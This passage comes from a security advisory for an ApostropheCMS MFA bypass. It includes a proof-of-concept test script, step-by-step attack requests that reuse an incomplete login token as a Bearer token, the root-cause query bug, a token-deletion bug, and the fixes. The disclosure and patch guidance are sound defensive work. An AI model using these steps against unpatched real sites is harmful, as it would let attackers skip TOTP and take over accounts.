Advisory

GHSA-v9xm-ffx2-7h35

Details, part 2 of 2. The advisory

Details

if (bypass1) bypasses.push('TOTP bypass');

// 3. Token after all requirements verified (empty array, before $unset)
// After requirementVerify pulls each requirement from the array
// Token: { _id: "xxx", userId: "yyy", requirementsToVerify: [], expires: Date }
test(
'[Token 3] All requirements verified (empty array) — should be ACCEPTED',
{ _id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },
false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])
true // fixed: accepted (correct)
);

// 4. Finalized token (requirementsToVerify removed via $unset)
// After finalizeIncompleteLogin calls $unset
// Token: { _id: "xxx", userId: "yyy", expires: Date }
test(
'[Token 4] Finalized token ($unset completed) — should be ACCEPTED',
{ _id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) },
true, // vulnerable: accepted (correct)
true // fixed: accepted (correct)
);

// 5. Multiple unverified requirements
const bypass2 = test(
'[Token 5] Multiple unverified requirements — should be REJECTED',
{ _id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) },
true, // vulnerable: ACCEPTED (BUG!)
false // fixed: rejected (correct)
);
if (bypass2) bypasses.push('Multi-requirement bypass');

// Attack scenario
console.log(${BOLD}--- Attack Scenario ---${RESET}\n);
console.log( ${YELLOW}Prerequisites:${RESET});
console.log( - ApostropheCMS instance with @apostrophecms/login-totp enabled);
console.log( - Attacker knows victim's username and password);
console.log( - Attacker does NOT know victim's TOTP code\n);

console.log( ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials);
console.log( POST /api/v1/@apostrophecms/login/login);
console.log( {"username": "admin", "password": "correct_password", "session": false}\n);

console.log( ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token);
console.log( Response: {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"});
console.log( (TOTP verification still required)\n);

console.log( ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token);
console.log( GET /api/v1/@apostrophecms/page);
console.log( Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n);

console.log( ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query);
console.log( MongoDB query: {);
console.log( _id: "clxxxxxxxxxxxxxxxxxxxxxxxxx",);
console.log( expires: { $gte: new Date() },);
console.log( $or: [);
console.log( { requirementsToVerify: { $exists: false } },);
console.log( { requirementsToVerify: { ${RED}$ne: []${RESET} } } // BUG!);
console.log( ]);
console.log( });
console.log( The token has requirementsToVerify: ["AposTotp"]);
console.log( $ne: [] matches because ["AposTotp"] !== []\n);

console.log( ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET});
console.log( req.user is set, req.csrfExempt = true);
console.log( Full API access without TOTP verification\n);

// Summary
console.log(${BOLD}${'='.repeat(64)});
console.log(Summary);
console.log(${'='.repeat(64)}${RESET});
console.log( ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\n);
console.log( ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388);
console.log( The MongoDB query uses $ne: [] which matches NON-empty arrays.);
console.log( The comment says the array should be "empty or inexistant",);
console.log( but $ne: [] matches exactly the opposite — non-empty arrays.\n);
console.log( ${YELLOW}Vulnerable code:${RESET});
console.log( $or: [);
console.log( { requirementsToVerify: { $exists: false } },);
console.log( { requirementsToVerify: { $ne: [] } } // BUG);
console.log( ]\n);
console.log( ${YELLOW}Fixed code:${RESET});
console.log( $or: [);
console.log( { requirementsToVerify: { $exists: false } },);
console.log( { requirementsToVerify: { $size: 0 } } // FIX);
console.log( ]\n);
console.log( ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's);
console.log( password can skip TOTP verification and gain full authenticated);
console.log( API access by using the incompleteToken as a bearer token.\n);
console.log( ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary);
console.log( issue where tokens with ALL requirements verified (empty array,);
console.log( before the $unset runs) are incorrectly REJECTED. This is masked);
console.log( by the fact that finalizeIncompleteLogin uses $unset to remove);
console.log( the field entirely, so the $exists: false path is used instead.);
console.log();
console.log();


Both bypass vectors (single and multiple unverified requirements) confirmed.

## Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`

A second bug in `@apostrophecms/login/index.js` (lines 728-729, 735-736) amplifies the MFA bypass. When `finalizeIncompleteLogin` attempts to delete the incomplete token, it uses the wrong identifier:

```javascript
await self.bearerTokens.removeOne({
    _id: token.userId  // BUG: should be token._id
});

The token's _id is a CUID (e.g., clxxxxxxxxx), but token.userId is the user's document ID. This means:

  1. The incomplete token is never deleted from the database, even after a legitimate MFA-verified login
  2. Combined with the $ne: [] bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)
  3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists

This bug appears at two locations in finalizeIncompleteLogin:

  • Line 728-729: Error case (user not found)
  • Line 735-736: Success case (session-based login after MFA)

Recommended Fix

Fix 1: Bearer token query (express/index.js line 388)

Replace $ne: [] with $size: 0:

$or: [
    { requirementsToVerify: { $exists: false } },
    { requirementsToVerify: { $size: 0 } }  // FIX: match empty array only
]

This ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.

Fix 2: Token deletion (login/index.js lines 728-729, 735-736)

Replace token.userId with token._id:

await self.bearerTokens.removeOne({
    _id: token._id  // FIX: use the token's actual ID
});

Sources & licences